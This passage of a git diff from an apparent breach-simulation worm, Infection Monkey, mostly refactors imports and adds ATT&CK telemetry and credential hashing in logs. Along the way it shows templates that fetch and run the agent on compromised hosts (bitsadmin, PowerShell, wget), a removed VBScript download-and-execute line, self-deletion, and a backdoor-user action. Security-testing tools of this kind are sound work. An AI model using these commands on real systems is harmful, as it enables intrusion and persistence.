LOG.error("Something went wrong while trying to change permission: %s" % e)
+ T1222Telem(ScanStatus.SCANNED, "", self.host).send()
return False
# If exploiter returns True / False
if isinstance(resp, bool):
diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py
index 625de13c6..750fc932c 100644
--- a/monkey/infection_monkey/exploit/weblogic.py
+++ b/monkey/infection_monkey/exploit/weblogic.py
@@ -9,7 +9,9 @@ from http.server import BaseHTTPRequestHandler, HTTPServer
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit import HostExploiter
-from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
+from infection_monkey.exploit.tools.helpers import get_interface_to_target
+from infection_monkey.network.info import get_free_tcp_port
+from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
__author__ = "VakarisZ"
diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py
index 170a7f1dc..047574d7e 100644
--- a/monkey/infection_monkey/exploit/win_ms08_067.py
+++ b/monkey/infection_monkey/exploit/win_ms08_067.py
@@ -14,11 +14,11 @@ from enum import IntEnum
from impacket import uuid
from impacket.dcerpc.v5 import transport
-from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
+from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
+from infection_monkey.exploit.tools.smb_tools import SmbTools
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from infection_monkey.network import SMBFinger
from infection_monkey.network.tools import check_tcp_port
-from infection_monkey.exploit.tools import build_monkey_commandline
from . import HostExploiter
LOG = getLogger(__name__)
diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py
index 9439d7414..1f3e1cecc 100644
--- a/monkey/infection_monkey/exploit/wmiexec.py
+++ b/monkey/infection_monkey/exploit/wmiexec.py
@@ -6,8 +6,11 @@ import traceback
from impacket.dcerpc.v5.rpcrt import DCERPCException
from infection_monkey.exploit import HostExploiter
-from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \
+from infection_monkey.exploit.tools.helpers import get_target_monkey, \
get_monkey_depth, build_monkey_commandline
+from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException
+from infection_monkey.exploit.tools.smb_tools import SmbTools
+from infection_monkey.exploit.tools.wmi_tools import WmiTools
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from common.utils.exploit_enum import ExploitType
@@ -33,8 +36,10 @@ class WmiExploiter(HostExploiter):
creds = self._config.get_exploit_user_password_or_hash_product()
for user, password, lm_hash, ntlm_hash in creds:
- LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
- self.host, user, password, lm_hash, ntlm_hash)
+ password_hashed = self._config.hash_sensitive_data(password)
+ LOG.debug("Attempting to connect %r using WMI with "
+ "user,password (SHA-512),lm hash,ntlm hash: ('%s','%s','%s','%s')",
+ self.host, user, password_hashed, lm_hash, ntlm_hash)
wmi_connection = WmiTools.WmiConnection()
@@ -44,23 +49,23 @@ class WmiExploiter(HostExploiter):
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
LOG.debug("Failed connecting to %r using WMI with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
- self.host, user, password, lm_hash, ntlm_hash)
+ self.host, user, password_hashed, lm_hash, ntlm_hash)
continue
except DCERPCException:
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
LOG.debug("Failed connecting to %r using WMI with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
- self.host, user, password, lm_hash, ntlm_hash)
+ self.host, user, password_hashed, lm_hash, ntlm_hash)
continue
except socket.error:
LOG.debug("Network error in WMI connection to %r with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
- self.host, user, password, lm_hash, ntlm_hash)
+ self.host, user, password_hashed, lm_hash, ntlm_hash)
return False
except Exception as exc:
LOG.debug("Unknown WMI connection error to %r with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
- self.host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
+ self.host, user, password_hashed, lm_hash, ntlm_hash, exc, traceback.format_exc())
return False
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
@@ -91,7 +96,8 @@ class WmiExploiter(HostExploiter):
# execute the remote dropper in case the path isn't final
elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
- build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
+ build_monkey_commandline(
+ self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
else:
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1)
@@ -118,3 +124,4 @@ class WmiExploiter(HostExploiter):
return success
return False
+
diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py
index 817b83024..2bf5aabeb 100644
--- a/monkey/infection_monkey/main.py
+++ b/monkey/infection_monkey/main.py
@@ -8,7 +8,7 @@ import os
import sys
import traceback
-import infection_monkey.utils as utils
+from infection_monkey.utils.monkey_log_path import get_dropper_log_path, get_monkey_log_path
from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE
from infection_monkey.dropper import MonkeyDrops
from infection_monkey.model import MONKEY_ARG, DROPPER_ARG
@@ -68,7 +68,7 @@ def main():
else:
print("Config file wasn't supplied and default path: %s wasn't found, using internal default" % (config_file,))
- print("Loaded Configuration: %r" % WormConfiguration.as_dict())
+ print("Loaded Configuration: %r" % WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()))
# Make sure we're not in a machine that has the kill file
kill_path = os.path.expandvars(
@@ -79,10 +79,10 @@ def main():
try:
if MONKEY_ARG == monkey_mode:
- log_path = utils.get_monkey_log_path()
+ log_path = get_monkey_log_path()
monkey_cls = InfectionMonkey
elif DROPPER_ARG == monkey_mode:
- log_path = utils.get_dropper_log_path()
+ log_path = get_dropper_log_path()
monkey_cls = MonkeyDrops
else:
return True
@@ -127,8 +127,8 @@ def main():
json.dump(json_dict, config_fo, skipkeys=True, sort_keys=True, indent=4, separators=(',', ': '))
return True
- except Exception:
- LOG.exception("Exception thrown from monkey's start function")
+ except Exception as e:
+ LOG.exception("Exception thrown from monkey's start function. More info: {}".format(e))
finally:
monkey.cleanup()
diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py
index e6c2e63a5..dd3e9ca63 100644
--- a/monkey/infection_monkey/model/__init__.py
+++ b/monkey/infection_monkey/model/__init__.py
@@ -12,14 +12,12 @@ GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
-RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
-RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
# Commands used for downloading monkeys
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\""
WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
-RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
+BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
CHMOD_MONKEY = "chmod +x %(monkey_path)s"
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
# Commands used to check for architecture and if machine is exploitable
diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index 0be24db3f..f701c1c7b 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -7,7 +7,8 @@ import time
from six.moves import xrange
import infection_monkey.tunnel as tunnel
-import infection_monkey.utils as utils
+from infection_monkey.utils.monkey_dir import create_monkey_dir, get_monkey_dir_path, remove_monkey_dir
+from infection_monkey.utils.monkey_log_path import get_monkey_log_path
from infection_monkey.config import WormConfiguration
from infection_monkey.control import ControlClient
from infection_monkey.model import DELAY_DELETE_CMD
@@ -16,6 +17,7 @@ from infection_monkey.network.network_scanner import NetworkScanner
from infection_monkey.system_info import SystemInfoCollector
from infection_monkey.system_singleton import SystemSingleton
from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem
+from infection_monkey.telemetry.attack.t1107_telem import T1107Telem
from infection_monkey.telemetry.scan_telem import ScanTelem
from infection_monkey.telemetry.state_telem import StateTelem
from infection_monkey.telemetry.system_info_telem import SystemInfoTelem
@@ -23,8 +25,10 @@ from infection_monkey.telemetry.trace_telem import TraceTelem
from infection_monkey.telemetry.tunnel_telem import TunnelTelem
from infection_monkey.windows_upgrader import WindowsUpgrader
from infection_monkey.post_breach.post_breach_handler import PostBreach
-from common.utils.attack_utils import ScanStatus
-from infection_monkey.exploit.tools import get_interface_to_target
+from infection_monkey.exploit.tools.helpers import get_interface_to_target
+from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
+from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
+from common.utils.attack_utils import ScanStatus, UsageEnum
__author__ = 'itamar'
@@ -66,10 +70,7 @@ class InfectionMonkey(object):
self._parent = self._opts.parent
self._default_tunnel = self._opts.tunnel
self._default_server = self._opts.server
- try:
- self._default_server_port = self._default_server.split(':')[1]
- except KeyError:
- self._default_server_port = ''
+
if self._opts.depth:
WormConfiguration._depth_from_commandline = True
self._keep_running = True
@@ -86,12 +87,13 @@ class InfectionMonkey(object):
def start(self):
LOG.info("Monkey is running...")
- if not ControlClient.find_server(default_tunnel=self._default_tunnel):
- LOG.info("Monkey couldn't find server. Going down.")
+ # Sets island's IP and port for monkey to communicate to
+ if not self.set_default_server():
return
+ self.set_default_port()
# Create a dir for monkey files if there isn't one
- utils.create_monkey_dir()
+ create_monkey_dir()
if WindowsUpgrader.should_upgrade():
self._upgrading_to_64 = True
@@ -103,6 +105,9 @@ class InfectionMonkey(object):
ControlClient.wakeup(parent=self._parent)
ControlClient.load_control_config()
+ if utils.is_windows_os():
+ T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send()
+
if not WormConfiguration.alive:
LOG.info("Marked not alive from configuration")
return
@@ -114,10 +119,7 @@ class InfectionMonkey(object):
if monkey_tunnel:
monkey_tunnel.start()
- StateTelem(False).send()
-
- self._default_server = WormConfiguration.current_server
- LOG.debug("default server: %s" % self._default_server)
+ StateTelem(is_done=False).send()
TunnelTelem().send()
if WormConfiguration.collect_system_info:
@@ -183,7 +185,7 @@ class InfectionMonkey(object):
(':'+self._default_server_port if self._default_server_port else ''))
else:
machine.set_default_server(self._default_server)
- LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
+ LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server))
# Order exploits according to their type
if WormConfiguration.should_exploit:
@@ -229,14 +231,13 @@ class InfectionMonkey(object):
InfectionMonkey.close_tunnel()
firewall.close()
else:
- StateTelem(False).send() # Signal the server (before closing the tunnel)
+ StateTelem(is_done=True).send() # Signal the server (before closing the tunnel)
InfectionMonkey.close_tunnel()
firewall.close()
if WormConfiguration.send_log_to_server:
self.send_log()
self._singleton.unlock()
- utils.remove_monkey_dir()
InfectionMonkey.self_delete()
LOG.info("Monkey is shutting down")
@@ -249,9 +250,13 @@ class InfectionMonkey(object):
@staticmethod
def self_delete():
+ status = ScanStatus.USED if remove_monkey_dir() else ScanStatus.SCANNED
+ T1107Telem(status, get_monkey_dir_path()).send()
+
if WormConfiguration.self_delete_in_cleanup \
and -1 == sys.executable.find('python'):
try:
+ status = None
if "win32" == sys.platform:
from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE
startupinfo = subprocess.STARTUPINFO()
@@ -262,11 +267,15 @@ class InfectionMonkey(object):
close_fds=True, startupinfo=startupinfo)
else:
os.remove(sys.executable)
+ status = ScanStatus.USED
except Exception as exc:
LOG.error("Exception in self delete: %s", exc)
+ status = ScanStatus.SCANNED
+ if status:
+ T1107Telem(status, sys.executable).send()
def send_log(self):
- monkey_log_path = utils.get_monkey_log_path()
+ monkey_log_path = get_monkey_log_path()
if os.path.exists(monkey_log_path):
with open(monkey_log_path, 'r') as f:
log = f.read()
@@ -297,7 +306,11 @@ class InfectionMonkey(object):
return True
else:
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
-
+ except ExploitingVulnerableMachineError as exc:
+ LOG.error("Exception while attacking %s using %s: %s",
+ machine, exploiter.__class__.__name__, exc)
+ self.successfully_exploited(machine, exploiter)
+ return True
except Exception as exc:
LOG.exception("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc)
@@ -321,3 +334,17 @@ class InfectionMonkey(object):
self._keep_running = False
LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)
+
+ def set_default_port(self):
+ try:
+ self._default_server_port = self._default_server.split(':')[1]
+ except KeyError:
+ self._default_server_port = ''
+
+ def set_default_server(self):
+ if not ControlClient.find_server(default_tunnel=self._default_tunnel):
+ LOG.info("Monkey couldn't find server. Going down.")
+ return False
+ self._default_server = WormConfiguration.current_server
+ LOG.debug("default server set to: %s" % self._default_server)
+ return True
diff --git a/monkey/infection_monkey/network/elasticfinger.py b/monkey/infection_monkey/network/elasticfinger.py
index 31ce6e24a..aaac09be2 100644
--- a/monkey/infection_monkey/network/elasticfinger.py
+++ b/monkey/infection_monkey/network/elasticfinger.py
@@ -6,11 +6,11 @@ import requests
from requests.exceptions import Timeout, ConnectionError
import infection_monkey.config
+from common.data.network_consts import ES_SERVICE
from infection_monkey.model.host import VictimHost
from infection_monkey.network import HostFinger
ES_PORT = 9200
-ES_SERVICE = 'elastic-search-9200'
ES_HTTP_TIMEOUT = 5
LOG = logging.getLogger(__name__)
__author__ = 'danielg'
diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py
index 3a9adef57..5e448002c 100644
--- a/monkey/infection_monkey/network/tools.py
+++ b/monkey/infection_monkey/network/tools.py
@@ -10,7 +10,7 @@ import re
from six.moves import range
from infection_monkey.pyinstaller_utils import get_binary_file_path
-from infection_monkey.utils import is_64bit_python
+from infection_monkey.utils.environment import is_64bit_python
DEFAULT_TIMEOUT = 10
BANNER_READ = 1024
diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py
index ff7ae3a50..09c8d4796 100644
--- a/monkey/infection_monkey/post_breach/actions/add_user.py
+++ b/monkey/infection_monkey/post_breach/actions/add_user.py
@@ -1,21 +1,16 @@
-import datetime
+from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER
from infection_monkey.post_breach.pba import PBA
from infection_monkey.config import WormConfiguration
-
-
-__author__ = 'danielg'
-
-LINUX_COMMANDS = ['useradd', '-M', '--expiredate',
- datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
- WormConfiguration.user_to_add]
-
-WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add,
- WormConfiguration.remote_user_pass,
- '/add', '/ACTIVE:NO']
+from infection_monkey.utils.users import get_commands_to_add_user
class BackdoorUser(PBA):
def __init__(self):
- super(BackdoorUser, self).__init__("Backdoor user",
- linux_cmd=' '.join(LINUX_COMMANDS),
- windows_cmd=WINDOWS_COMMANDS)
+ linux_cmds, windows_cmds = get_commands_to_add_user(
+ WormConfiguration.user_to_add,
+ WormConfiguration.remote_user_pass)
+ super(BackdoorUser, self).__init__(
+ POST_BREACH_BACKDOOR_USER,
+ linux_cmd=' '.join(linux_cmds),
+ windows_cmd=windows_cmds)
+
diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
new file mode 100644
index 000000000..296179d41
--- /dev/null
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -0,0 +1,143 @@
+import logging
+import os
+import random
+import string
+import subprocess
+import time
+
+import win32event
+
+from infection_monkey.utils.windows.auto_new_user import AutoNewUser, NewUserError
+from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER
+from infection_monkey.post_breach.pba import PBA
+from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
+from infection_monkey.utils.environment import is_windows_os
+from infection_monkey.utils.linux.users import get_linux_commands_to_delete_user, get_linux_commands_to_add_user
+
+PING_TEST_DOMAIN = "google.com"
+
+PING_WAIT_TIMEOUT_IN_MILLISECONDS = 20 * 1000
+
+CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT = "Created process '{}' as user '{}', and successfully pinged."
+CREATED_PROCESS_AS_USER_PING_FAILED_FORMAT = "Created process '{}' as user '{}', but failed to ping (exit status {})."
+
+USERNAME = "somenewuser"
+PASSWORD = "N3WPa55W0rD!1"
+
+logger = logging.getLogger(__name__)
+
+
+class CommunicateAsNewUser(PBA):
+ """
+ This PBA creates a new user, and then pings google as that user. This is used for a Zero Trust test of the People
+ pillar. See the relevant telemetry processing to see what findings are created.
+ """
+
+ def __init__(self):
+ super(CommunicateAsNewUser, self).__init__(name=POST_BREACH_COMMUNICATE_AS_NEW_USER)
+
+ def run(self):
+ username = CommunicateAsNewUser.get_random_new_user_name()
+ if is_windows_os():
+ self.communicate_as_new_user_windows(username)
+ else:
+ self.communicate_as_new_user_linux(username)
+
+ @staticmethod
+ def get_random_new_user_name():
+ return USERNAME + ''.join(random.choice(string.ascii_lowercase) for _ in range(5))
+
+ def communicate_as_new_user_linux(self, username):
+ try:
+ # add user + ping
+ linux_cmds = get_linux_commands_to_add_user(username)
+ commandline = "ping -c 1 {}".format(PING_TEST_DOMAIN)
+ linux_cmds.extend([";", "sudo", "-u", username, commandline])
+ final_command = ' '.join(linux_cmds)
+ exit_status = os.system(final_command)
+ self.send_ping_result_telemetry(exit_status, commandline, username)
+ # delete the user, async in case it gets stuck.
+ _ = subprocess.Popen(
+ get_linux_commands_to_delete_user(username), stderr=subprocess.STDOUT, shell=True)
+ # Leaking the process on purpose - nothing we can do if it's stuck.
+ except subprocess.CalledProcessError as e:
+ PostBreachTelem(self, (e.output, False)).send()
+
+ def communicate_as_new_user_windows(self, username):
+ # Importing these only on windows, as they won't exist on linux.
+ import win32con
+ import win32process
+ import win32api
+
+ try:
+ with AutoNewUser(username, PASSWORD) as new_user:
+ # Using os.path is OK, as this is on windows for sure
+ ping_app_path = os.path.join(os.environ["WINDIR"], "system32", "PING.exe")
+ if not os.path.exists(ping_app_path):
+ PostBreachTelem(self, ("{} not found.".format(ping_app_path), False)).send()
+ return # Can't continue without ping.
+
+ try:
+ # Open process as that user:
+ # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera
+ commandline = "{} {} {} {}".format(ping_app_path, PING_TEST_DOMAIN, "-n", "1")
+ process_handle, thread_handle, _, _ = win32process.CreateProcessAsUser(
+ new_user.get_logon_handle(), # A handle to the primary token that represents a user.
+ None, # The name of the module to be executed.
+ commandline, # The command line to be executed.
+ None, # Process attributes
+ None, # Thread attributes
+ True, # Should inherit handles
+ win32con.NORMAL_PRIORITY_CLASS, # The priority class and the creation of the process.
+ None, # An environment block for the new process. If this parameter is NULL, the new process
+ # uses the environment of the calling process.
+ None, # CWD. If this parameter is NULL, the new process will have the same current drive and
+ # directory as the calling process.
+ win32process.STARTUPINFO() # STARTUPINFO structure.
+ # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
+ )
+
+ logger.debug(
+ "Waiting for ping process to finish. Timeout: {}ms".format(PING_WAIT_TIMEOUT_IN_MILLISECONDS))
+
+ # Ignoring return code, as we'll use `GetExitCode` to determine the state of the process later.
+ _ = win32event.WaitForSingleObject( # Waits until the specified object is signaled, or time-out.
+ process_handle, # Ping process handle
+ PING_WAIT_TIMEOUT_IN_MILLISECONDS # Timeout in milliseconds
+ )
+
+ ping_exit_code = win32process.GetExitCodeProcess(process_handle)
+
+ self.send_ping_result_telemetry(ping_exit_code, commandline, username)
+ except Exception as e:
+ # If failed on 1314, it's possible to try to elevate the rights of the current user with the
+ # "Replace a process level token" right, using Local Security Policy editing.
+ PostBreachTelem(self, (
+ "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send()
+ finally:
+ try:
+ win32api.CloseHandle(process_handle)
+ win32api.CloseHandle(thread_handle)
+ except Exception as err:
+ logger.error("Close handle error: " + str(err))
+ except subprocess.CalledProcessError as err:
+ PostBreachTelem(self, (
+ "Couldn't create the user '{}'. Error output is: '{}'".format(username, str(err)),
+ False)).send()
+ except NewUserError as e:
+ PostBreachTelem(self, (str(e), False)).send()
+
+ def send_ping_result_telemetry(self, exit_status, commandline, username):
+ """
+ Parses the result of ping and sends telemetry accordingly.
+
+ :param exit_status: In both Windows and Linux, 0 exit code from Ping indicates success.
+ :param commandline: Exact commandline which was executed, for reporting back.
+ :param username: Username from which the command was executed, for reporting back.
+ """
+ if exit_status == 0:
+ PostBreachTelem(self, (
+ CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT.format(commandline, username), True)).send()
+ else:
+ PostBreachTelem(self, (
+ CREATED_PROCESS_AS_USER_PING_FAILED_FORMAT.format(commandline, username, exit_status), False)).send()
diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
index 61ec6f5d7..89417757d 100644
--- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
+++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
@@ -1,11 +1,15 @@
import os
import logging
-from infection_monkey.utils import is_windows_os
+from common.data.post_breach_consts import POST_BREACH_FILE_EXECUTION
+from infection_monkey.utils.environment import is_windows_os
from infection_monkey.post_breach.pba import PBA
from infection_monkey.control import ControlClient
from infection_monkey.config import WormConfiguration
-from infection_monkey.utils import get_monkey_dir_path
+from infection_monkey.utils.monkey_dir import get_monkey_dir_path
+from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
+from common.utils.attack_utils import ScanStatus
+from infection_monkey.exploit.tools.helpers import get_interface_to_target
LOG = logging.getLogger(__name__)
@@ -24,7 +28,7 @@ class UsersPBA(PBA):
Defines user's configured post breach action.
"""
def __init__(self):
- super(UsersPBA, self).__init__("File execution")
+ super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION)
self.filename = ''
if not is_windows_os():
# Add linux commands to PBA's
@@ -79,9 +83,22 @@ class UsersPBA(PBA):
pba_file_contents = ControlClient.get_pba_file(filename)
+ status = None
if not pba_file_contents or not pba_file_contents.content:
LOG.error("Island didn't respond with post breach file.")
+ status = ScanStatus.SCANNED
+
+ if not status:
+ status = ScanStatus.USED
+
+ T1105Telem(status,
+ WormConfiguration.current_server.split(':')[0],
+ get_interface_to_target(WormConfiguration.current_server.split(':')[0]),
+ filename).send()
+
+ if status == ScanStatus.SCANNED:
return False
+
try:
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
written_PBA_file.write(pba_file_contents.content)
diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py
index 3fb8b251f..8d7723df2 100644
--- a/monkey/infection_monkey/post_breach/pba.py
+++ b/monkey/infection_monkey/post_breach/pba.py
@@ -1,16 +1,18 @@
import logging
import subprocess
-import socket
-from infection_monkey.control import ControlClient
+
+from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
-from infection_monkey.utils import is_windows_os
+from infection_monkey.utils.environment import is_windows_os
from infection_monkey.config import WormConfiguration
+from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
+EXECUTION_WITHOUT_OUTPUT = "(PBA execution produced no output)"
class PBA(object):
"""
@@ -19,7 +21,8 @@ class PBA(object):
def __init__(self, name="unknown", linux_cmd="", windows_cmd=""):
"""
:param name: Name of post breach action.
- :param command: Command that will be executed on breached machine
+ :param linux_cmd: Command that will be executed on breached machine
+ :param windows_cmd: Command that will be executed on breached machine
"""
self.command = PBA.choose_command(linux_cmd, windows_cmd)
self.name = name
@@ -46,15 +49,36 @@ class PBA(object):
"""
exec_funct = self._execute_default
result = exec_funct()
+ if self.scripts_were_used_successfully(result):
+ T1064Telem(ScanStatus.USED, "Scripts were used to execute %s post breach action." % self.name).send()
PostBreachTelem(self, result).send()
+ def is_script(self):
+ """
+ Determines if PBA is a script (PBA might be a single command)
+ :return: True if PBA is a script(series of OS commands)
+ """
+ return isinstance(self.command, list) and len(self.command) > 1
+
+ def scripts_were_used_successfully(self, pba_execution_result):
+ """
+ Determines if scripts were used to execute PBA and if they succeeded
+ :param pba_execution_result: result of execution function. e.g. self._execute_default
+ :return: True if scripts were used, False otherwise
+ """
+ pba_execution_succeeded = pba_execution_result[1]
+ return pba_execution_succeeded and self.is_script()
+
def _execute_default(self):
"""
Default post breach command execution routine
:return: Tuple of command's output string and boolean, indicating if it succeeded
"""
try:
- return subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True), True
+ output = subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True)
+ if not output:
+ output = EXECUTION_WITHOUT_OUTPUT
+ return output, True
except subprocess.CalledProcessError as e:
# Return error output of the command
return e.output, False
diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py
index 8522f412f..b5dfa93c7 100644
--- a/monkey/infection_monkey/post_breach/post_breach_handler.py
+++ b/monkey/infection_monkey/post_breach/post_breach_handler.py
@@ -3,7 +3,7 @@ import inspect
import importlib
from infection_monkey.post_breach.pba import PBA
from infection_monkey.post_breach.actions import get_pba_files
-from infection_monkey.utils import is_windows_os
+from infection_monkey.utils.environment import is_windows_os
LOG = logging.getLogger(__name__)
@@ -25,8 +25,12 @@ class PostBreach(object):
Executes all post breach actions.
"""
for pba in self.pba_list:
- pba.run()
- LOG.info("Post breach actions executed")
+ try:
+ LOG.debug("Executing PBA: '{}'".format(pba.name))
+ pba.run()
+ except Exception as e:
+ LOG.error("PBA {} failed. Error info: {}".format(pba.name, e))
+ LOG.info("All PBAs executed. Total {} executed.".format(len(self.pba_list)))
@staticmethod
def config_to_pba_list():
@@ -45,7 +49,9 @@ class PostBreach(object):
if ((m[1].__module__ == module.__name__) and issubclass(m[1], PBA))]
# Get post breach action object from class
for pba_class in pba_classes:
+ LOG.debug("Checking if should run PBA {}".format(pba_class.__name__))
if pba_class.should_run(pba_class.__name__):
pba = pba_class()
pba_list.append(pba)
+ LOG.debug("Added PBA {} to PBA list".format(pba_class.__name__))
return pba_list
diff --git a/monkey/infection_monkey/readme.txt b/monkey/infection_monkey/readme.txt
index 0b56da2f7..06bf449da 100644
--- a/monkey/infection_monkey/readme.txt
+++ b/monkey/infection_monkey/readme.txt
@@ -62,7 +62,7 @@ a. Build sambacry binaries yourself
a.1. Install gcc-multilib if it's not installed
sudo apt-get install gcc-multilib
a.2. Build the binaries
- cd [code location]/infection_monkey/monkey_utils/sambacry_monkey_runner
+ cd [code location]/infection_monkey/exploit/sambacry_monkey_runner
./build.sh
b. Download our pre-built sambacry binaries
diff --git a/monkey/infection_monkey/requirements_linux.txt b/monkey/infection_monkey/requirements_linux.txt
index bef031d2e..f30131267 100644
--- a/monkey/infection_monkey/requirements_linux.txt
+++ b/monkey/infection_monkey/requirements_linux.txt
@@ -1,10 +1,7 @@
enum34
impacket
pycryptodome
-pyasn1
cffi
-twisted
-rdpy
requests
odict
paramiko
diff --git a/monkey/infection_monkey/requirements_windows.txt b/monkey/infection_monkey/requirements_windows.txt
